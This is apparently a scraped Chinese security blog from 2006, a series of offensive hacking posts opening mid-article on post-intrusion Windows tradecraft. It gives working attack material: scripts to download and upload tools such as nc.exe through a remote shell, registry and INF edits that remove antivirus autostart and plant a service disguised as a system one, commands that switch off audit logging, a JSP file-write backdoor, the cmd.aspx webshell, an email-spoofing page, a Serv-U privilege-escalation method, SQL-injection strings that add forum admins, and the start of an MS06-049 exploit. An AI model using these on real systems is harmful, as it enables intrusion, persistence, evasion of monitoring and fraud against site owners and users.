对于以服务为启动方式的后门所提供的shell,其用户身份一般是System。此时网页缓存目录的位置就如例子中所示。如果shell的身份不是System,需要修改Default User为相应的用户名。
本方法会启动一个IE进程,记得要将它杀掉。如果是System身份的shell,不会在本地出现窗口而暴露。
另外,用ms-its代替its效果完全一样。

3,Echo一个脚本下载web资源。
现成的工具是iGet.vbs。我再给出一个含必要容错功能的版本。
仍然是echo版:

@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs

举例——下载ps.exe并保存到c:\path下:

cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe

注意,这是在远程shell中执行的。

4,Echo经过编码的任何文件,再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出"杀手锏"了!

echo命令加重定向操作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新"编码"为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位操作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)

无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本:

fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with

将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:

cscript echo.vbs nc.exe

也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:

@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +"">>debug.vbs
@echo with wscript
.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs

全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。
如果网速不是很慢的话,整个上传过程大约需要20秒。

几点说明:
1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2,在传输大文件前,可以先传个小的文件作为"热身",让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。
3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。
4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。

能上传文件当然一切都好办了,但很多操作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。


系统配置
这节包括三方面内容:注册表、服务和组策略。

先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。
好在系统自带的regedit.exe足够用了。

1,读取注册表
先将想查询的注册表项导出,再用type查看,比如:

C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d

C:\>del 1.reg

所以终端服务的端口是3389(十六进制d3d)

2,修改/删除注册表项
先echo一个reg文件,然后导入,比如:

echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg

将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。

要删除一个项,在名字前面加减号,比如:

[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]

要删除一个值,在等号后面用减号,比如:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"KAVRun"=-

3,用inf文件访问注册表
上面对注册表的三个操作,也可以用下面这个inf文件来实现:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun

将它写入c:\path\reg.inf然后用下面这个命令"安装":

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf

几点说明:
1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
2323也可以用0x913代替。
关于inf文件的详细信息,可以参考DDK帮助文档。
2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。
128表示给定路径,该参数其他取值及含义参见MSDN。
特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
3,inf文件中的项目都是大小写不敏感的。


接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导入注册表虽然可以,但效果不好,原因后面会提到。还是得靠inf文件出马。

增加一个服务:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe

保存为inetsvr.inf,然后:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf

这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。

几点说明:
1,最后四项分别是
服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。

删除一个服务:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr

很简单,不是吗?

当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题——不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。

另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。


最后说说组策略。组策略是建立Windows安全环境的重要手段,尤其是在Windows域环境下。一个出色的系统管理员,应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc,命令行下用secedit.exe。

先看secedit命令语法:
secedit /analyze r/>secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。

与访问注册表只需reg文件不同的是,访问组策略除了要有个模板文件(还是inf),还需要一个安全数据库文件(sdb)。要修改组策略,必须先将模板导入安全数据库,再通过应用安全数据库来刷新组策略。来看个例子:

假设我要将密码长度最小值设置为6,并启用"密码必须符合复杂性要求",那么先写这么一个模板:

[version]
signature="$CHICAGO$"
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1

保存为gp.inf,然后导入:

secedit /configure /db gp.sdb /cfg gp.inf /quiet

这个命令执行完成后,将在当前目录产生一个gp.sdb,它是"中间产品",你可以删除它。
/quiet参数表示"安静模式",不产生日志。但根据我的试验,在2000sp4下该参数似乎不起作用,XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如:

secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*

另外,在导入模板前,还可以先分析语法是否正确:

secedit /validate gp.inf

那么,如何知道具体的语法呢?当然到MSDN里找啦。也有偷懒的办法,因为系统自带了一些安全模板,在%windir%\security\templates目录下。打开这些模板,基本上包含了常用的安全设置语法,一看就懂。

再举个例子——关闭所有的"审核策略"。(它所审核的事件将记录在事件查看器的"安全性"里)。
echo版:

echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*

也许有人会说:组策略不是保存在注册表中吗,为什么不直接修改注册表?因为不是所有的组策略都保存在注册表中。比如"审核策略"就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有"管理模板"这一部分是完全基于注册表的。而且,知道了具体位置,用哪个方法都不复杂。

比如,XP和2003的"本地策略"-》"安全选项"增加了一个"本地帐户的共享和安全模式"策略。XP下默认的设置是"仅来宾"。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为"经典":

echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg

而相应的用inf,应该是:

echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Registry Values] >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*

关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%\security\database\secedit.sdb,将它导出至inf文件:

secedit /export /cfg gp.inf /log 1.log

没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。

不过,这样得到的只是组策略的一部分(即"Windows设置")。而且,某个策略如果未配置,是不会被导出的。比如"重命名系统管理员帐户",只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。

此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料,XP和2003显示组策略用RSoP(组策略结果集)。相应的命令行工具是gpresult。但是,它获得的是在系统启动时被附加(来自域)的组策略,单机测试结果还是"空"。所以,如果想知道某些组策略是否被设置,只有先写一个inf,再用secedit /analyze,然后查看日志了。


网络配置
Windows自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh……
这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。前面两种相对简单,本文只介绍两个网络配置工具。

netsh
在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过,很多shell不能再次重定向输出输出,所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是,一般交互式的工具都允许使用脚本(或者叫应答文件)。比如ftp -s:filename。netsh也是这样:netsh -f filename。

netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服务器,TCP/IP协议,IPX协议,路由等。我们不是管理员,一般没必要了解这么多,只需用netsh来了解目标主机的网络配置信息。

1,TCP/IP配置

echo interface ip >s
echo show config >>s
netsh -f s
del s

由此你可以了解该主机有多个网卡和IP,是否是动态分配IP(DHCP),内网IP是多少(如果有的话)。
这个命令和ipconfig /all差不多。

注意,以下命令需要目标主机启动remoteaccess服务。如果它被禁用,请先通过导入注册表解禁,然后
net start remoteaccess

2,ARP

echo interface ip >s
echo show ipnet >>s
netsh -f s
del s

这个比arp -a命令多一点信息。

3,TCP/UDP连接

echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s

这组命令和netstat -an一样。

4,网卡信息
如果netsh命令都有其他命令可代替,那它还有什么存在的必要呢?下面这个就找不到代替的了。

echo interface ip >s
echo show interface >>s
netsh -f s
del s

netsh的其他功能,比如修改IP,一般没有必要使用(万一改了IP后连不上,就"叫天不应叫地不灵"了),所以全部略过。

IPSec
首先需要指出的是,IPSec和TCP/IP筛选是不同的东西,大家不要混淆了。TCP/IP筛选的功能十分有限,远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。

XP系统用ipseccmd,2000下用ipsecpol。遗憾的是,它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol还必须带上另外两个文件:ipsecutil.dll和text2pol.dll。三个文件一共119KB。

IPSec可以通过组策略来控制,但我找遍MSDN,也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以,组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local),理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放,读取和修改都很困难。相比之下,上传命令行工具更方便。

关于ipsecpol和ipseccmd的资料,网上可以

分类: 技术文章 标签:

JSP一句话后门

2006年9月21日 Chinadu 没有评论 10 views

信息来源:s0n9'5 B1o9

java是 面向对象编程的语言了! 啥都是对象!基于编译与解析之间~~-_- ... 估计没有eval execute这样功能的函数了!...但是还是可以留一句话后门的 本来我想用反射实现 像 eval这样的功能.....但是失败了!郁闷!

后来没有办法~~ 算了~~ 这样实现吧!

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

分类: 技术文章 标签:

伪造发件人邮件地址

2006年9月21日 Chinadu 没有评论 11 views

Author:lake2
这篇文章完全没技术含量L

记得若干年前第一次看《黑客X档案》的时候,有篇名为《社会工程学破解Email》的文章,就是利用邮件冒充管理员里骗取用户密码。当时真的太菜,居然真的照着书上一个一个字符的去打HTML……呵呵,心酸往事不提。

言归正传,发匿名邮件完全有益身心健康的,比如剑心那小子老是剥削我,我心里不爽就发邮件骂他,为了不让他知道我是谁就伪造一个邮件地址咯,再狠点,嗯,邮件地址就写成他老婆的,然后一边呆着看他们吵架(嘿嘿,好狠毒啊)。

基于此,写了一个利用Jmail组件发匿名邮件的ASP代码,前提是你的SMTP服务器没有验证发件人地址才是,很多虚拟主机的SMTP服务器就可以的。

代码如下:

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<%if request("action")="send" then%>

<%

Dim strSubject,strEmail,strMailAdress,strSender,strContent,strFromer

strSubject = Request("title")

strContent = Request("content")

strSender = Request("Name")

strEmail = Request("to") 

strMailAddress = Request("smtp") 

strMailUser = Request("usr") 

strMailPass = Request("pwd") 



Set JMail = Server.createObject("JMail.Message") 

JMail.Charset = "gb2312"

JMail.From = Request("From")

JMail.FromName = strSender

JMail.Subject =strSubject

JMail.MailServerUserName = strMailUser

JMail.MailServerPassword = strMailPass

JMail.Priority = 3

JMail.AddRecipient(strEmail)

JMail.Body = strContent

JMail.Send(strMailAddress)

%>

<Script>

alert('没报错就可能成功啦!');

</Script>

<%

else

%>

<style type="text/css">

<!--

body { margin-top: 0px;margin-bottom: 0px;}td {

font-size: 12px;

text-decoration: none;}--></style>

<title>JMailSpoof v0.1</title><table width="500" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#666666">

<tr><td height="40" bgcolor="#E3E3E3"><div align="center">JMailSpoof by lake2</div></td></tr>

<tr><td><table width="100%" height="392" border="0" align="center" cellpadding="1" cellspacing="1">

<form name="form" method="post" action="?action=send">

<tr bgcolor="#FFFFFF">

<td align="center"><div align="left">SMTP服务器*</div></td>

<td><input name="smtp" type="text" id="smtp" size="22"></td>

</tr>

<tr bgcolor="#FFFFFF">

<td align="center"><div align="left">用户名*</div></td>

<td><input name="usr" type="text" id="usr" size="22"></td>

</tr>

<tr bgcolor="#FFFFFF">

<td align="center"><div align="left">密码*</div></td>

<td><input name="pwd" type="text" id="pwd" size="22"></td>

</tr>

<tr bgcolor="#FFFFFF">

<td align="center"><div align="left">收件人邮箱*</div></td>

<td><input name="to" type="text" id="to" size="22"></td>

</tr>

<tr bgcolor="#FFFFFF">

<td align="center"><div align="left">发件人邮箱*</div></td>

<td><input name="from" type="text" id="from" size="22">

</td>

</tr>

<tr bgcolor="#FFFFFF">

<td width="110" align="center"><div align="left">邮件主题*</div></td>

<td width="288"><input name="title" type="text" id="title" size="22">



</td>

</tr>

<tr bgcolor="#FFFFFF">

<td height="15" align="center"><div align="left">发件人姓名*</div></td>

<td>

<input name="name" type="text" id="name" size="22"></td>

</tr>

<tr bgcolor="#FFFFFF">

<td height="213" align="center"><div align="left">内容:*<br>

</div></td>

<td><textarea name="content" cols="50" rows="15"></textarea></td>

</tr>

<tr bgcolor="#FFFFFF">

<td> </td>

<td><input type="submit" name="Submit" value="提交"></td>

</tr>

</form></table></td>

</tr></table>

<%end if%>

分类: 技术文章 标签:

逍遥网店所有版本后台数据备份漏洞

2006年9月21日 Chinadu 4 条评论 15 views

以下是源代码:

<script language=javascript src=http://www.99**.com/include/mouse_on_title.js></script>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link rel="stylesheet" href="manage.css" type="text/css">
</head>
<BODY background="../images/admin/back.gif">

<table width="98%" border="1" style="border-collapse: collapse; border-style: dotted; border-width: 0px" 
bordercolor="#333333" cellspacing="0" cellpadding="2">
<form action=http://www.99**.com/admin/safe5.asp method=post name=backup>
<tr class=backs><td colspan=2 class=td height=18>数据库在线维护</td></tr>
<input type="hidden" name="oldpath" value="../pic/digi/0063.jpg"><!--木马改图片上传后的路径-->
<input type="hidden" name="DBname" size="20" value="xuehan.asp"><!--要备份的木马路径-->
<tr><td colspan=2 heigh=50>从未备份数据库文件</td></tr>
<tr><td colspan=2>
<input title='备份正在使用的数据库文件' type="submit" name="Submit" value="备份" onclick="{if(confirm('备份正在使用的数据库文件,有道是常"备"无患,出了问题后可用于恢复!\n\n备份文件将保存在后台目录里,只要后台目录不公开,放在这里的文件就非常安全。\n\n单击确定继续,单击取消返回。')){this.document.backup.submit();return true;}return false;}"> 
<input title='对备份的数据库文件进行压缩和修复' type='button' value='压缩' onclick="{if(confirm('对数据库备份文件进行压缩,减少占用空间,还可修复数据库错误。\n\n正在使用的数据库不能压缩,请按"备份"—"压缩"—"恢复"的流程操作。\n\n单击确定继续,单击取消返回。 ')){location.href='safe5.asp?action=yasuo';}}"> 
<input title='用备份文件覆盖正式数据库文件' type='button' value='恢复' onclick="{if(confirm('用数据库备份文件覆盖正式的数据库文件,单击确定继续,单击取消返回。')){location.href='safe5.asp?action=huifu';}}"> 
<input title='删除数据库备份文件' type='button' value='删除' onclick="{if(confirm('删除备份的数据库文件(即后台目录里的备份文件shopbackup.mdb)。\n\n单击确定继续,单击取消返回。')){location.href='safe5.asp?action=del';}}"> 
<input title='将备份的数据库下载到本地保存' type='button' value='下载' onclick="{if(confirm('将数据库备份文件下载到自己的电脑中保存一份,以备不测。\n\n不怕一万,只怕万一 ^_^ 需要时可上传并恢复数据库。\n\n单击确定继续,单击取消返回。 ')){location.href='safe5.asp?action=down';}}"> 
<INPUT title='将本地数据库文件上传到网站' TYPE="button" value="上传" onClick="window.open('upload.asp?fuptype=db&fupname=shopbackup&frmname=db','blank_','scrollbars=yes,resizable=no,width=650,height=450')">
<input type="hidden" name="backup" value="ok">
</td></tr>
</form>
</table>
<br><font color=red>※提示:</font><br><br>
此操作需FSO功能支持。<br>
执行此操作前,请先关闭其它网页窗口,断开FTP连接。<br>
提交后,请耐心等待<font color=red>(请不要重复点击上面的按钮),</font>完成时间视网络状况而定。<br>
请在网络空闲时进行此操作,<b>执行此操作可能导致服务器变慢或不稳定</b>。

分类: 技术文章 标签:

cmd.aspx

2006年9月21日 Chinadu 没有评论 691 views

信息来源:http://s0n9.blog.sohu.com/

<%@ Page Language="VB" Debug="true" %>
<%@ Import Namespace="system.IO" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
dim but as string
dim tempfile as string=server.MapPath(".") & "\" & "test.txt"
shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,20000)
dim myread as new streamreader(tempfile,encoding.default)
but=replace(myread.readtoend,vbcrlf,"<br>")
but=replace(but," "," ")
result.text=but
myread.close
file.exists(tempfile)
file.delete(tempfile)
cmd.text=""
end sub
</script>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>ASP.NET Shell V1.0 By fineacer</title>
</head>
<body>
<form runat="server">
<asp:TextBox ID="cmd" runat="server" />
<asp:Button ID="Button" runat="server" Text="Run" OnClick="runcmd" /> 
<p><asp:Label ID="result" runat="server" /></p>
</form>
</body>
</html>

ASP.NET环境下执行cmd命令的程序,相当于cmd.asp不过这个需要asp.net环境,由于IIS6的机制,本程序不能在IIS6运行,不过可以很好的支持IIS5.x + .net framework.

分类: 技术文章 标签:

Serv-U本地权限提升的ASP实现

2006年9月21日 Chinadu 没有评论 18 views

Author:lake2 ( http://lake2.0x54.org )

最近的生活真无聊,寒冰掌老大见我无所事事,就说如果我能把Serv-U本地提权的ASP程序做出来就给介绍个MM,所以呢,就有了这篇文章^_^

Serv-U本地提权的问题很古老了,不清楚的朋友谷歌一下先,我就不罗嗦啦。呵呵,最主要的是相继出现了php、perl、aspx版本的提权脚本,一时间刀光剑影满天飞,惟独缺了ASP版的。主要是由于郁闷的ASP不能像其他脚本那样访问Socket(另一个原因是因为老大没早点对我用美眉计^_^)。

网上流传可以利用MSWinsock控件实现,这是不好滴。因为这是个第三方组件,呵呵,几率相当小,既然要杀人灭口,嘿嘿,肯定要采用一套通杀的方法才是。

Serv-U服务器管理那里使用了FTP协议,所以我们应该研究一下FTP协议先。

正常的FTP协议的认证过程:

220 Serv-U FTP Server v5.2 for WinSock ready...

user lake2

331 User name okay, need password.

pass lake2lake2

230 User logged in, proceed.

……

现在我乱来:

220 Serv-U FTP Server v5.2 for WinSock ready...

Hi, I'm Bill Gates!

530 Not logged in.

Open!

530 Not logged in.

I am hacker !

530 Not logged in.

Give you money

530 Not logged in.

user lake2

331 User name okay, need password.

pass lake2lake2

230 User logged in, proceed.

……

注意,如果期待的数据不是user XXX,Serv-U将返回错误信息并一直等待正确的登陆命令。暗示着什么呢,呵呵,暗示我们要成功啦。

最近用XMLHTTP组件比较多,这个系统内置组件就是利用HTTP协议发送和接收数据。我们将利用这个组件实现Serv-U的提权。现在的问题在于我们怎么把FTP协议通过HTTP协议发送出去呢?

嘿嘿,没看到刚才我辛辛苦苦测试的结果么,只要利用POST方式提交数据,POST的内容是FTP命令就行啦,因为前面的HTTP报文头会被Serv-U认为是非法的命令而忽略,而POST的内容即FTP命令就会被接受执行!

由于XMLHTTP及Serv-U的特性,又带来一系列问题:XMLHTTP没有超时设置,由于等不到服务器响应的HTTP报文头,会一直挂起;XMLHTTP是单用户且复用Socket的,根据HTTP协议版本对同一目标只有2个或者4个连接,所以执行一次(或者2次)添加域删除域之后就不能再次连接了;Serv-U的管理模式使用的伪FTP协议,也就是不认QUIT命令,造成连接不能断开(用ServerXMLHTTP可以很好的解决这些问题,但是仅限于XP下,2000/2003上又不行,郁闷)。

所以只有用一个折中的办法来解决以上的若干问题:

1、XMLHTTP先添加FTP用户;

2、自己登陆FTP用新帐号执行N多命令提权;

3、XMLHTTP删除新用户

你必须记得,因为连接不能断开,你只有一次或者两次执行上述步骤的机会!如果还想再来,呵呵,等着IIS或者FTP重启吧。

好在以前我也写过一个利用有执行权限的FTP帐号执行命令的程序,使得第2步方便了不少,程序这里下载之:http://www.0x54.org/lake2/program/ftpshell.exe

完整的ASP代码这里下载:http://www.0x54.org/lake2/program/suASP.rar

该ASP程序将在端口21添加一个用户名lake密码admin123的执行权限用户,有什么特殊情况(比如ftp端口不是21),自己改代码吧。

举一反三,似乎这样也可以在特定情况利用asp来访问FTP做些事情,不过那是你的事情了。

搞定散伙收工走人,enjoy it!

分类: 技术文章 标签: ,

入侵动网7.1 SP1 用到的命令

2006年9月21日 Chinadu 没有评论 12 views

增加前台管理员用户名:
coolidea|||123',0);update/**/Dv_User/**/set/**/UsergroupID='1'/**/where[UserName]='h4x0r';--

加后台管理员用户:
coolidea|||123',0);insert/**/into/**/Dv_admin(Password,Username,Adduser,Flag)/**/values('469e80d32c0559f8','h4x0r','h4x0r','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,');--

拿webshell

<form action="http://www.zhsc.net/bbs/admin/data.asp?action=RestoreData&act=Restore" method="post"> 
<p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p> 
<p>要复制到的位置:<input name="backpath" type="text" size="80"></p> 
<p><input type="submit" value="提交"></p>

不必要在注入拿SHELL了,很方便

只针对SQL版有效~

分类: 技术文章 标签:

MS06-049 Windows ZwQuerySystemInformation Local Exploit

2006年9月21日 Chinadu 没有评论 10 views

/*
MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit
created by SoBeIt

Main file of exploit

Tested on:

Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 Rollup 1 Chinese
Windows 2000 PRO SP4 English
Windows 2000 PRO SP4 Rollup 1 English

Usage:ms06-049.exe
*/

#include <windows.h>
#include <stdio.h>

#define NTSTATUS int
#define ProcessBasicInformation 0
#define SystemModuleInformation 11

typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
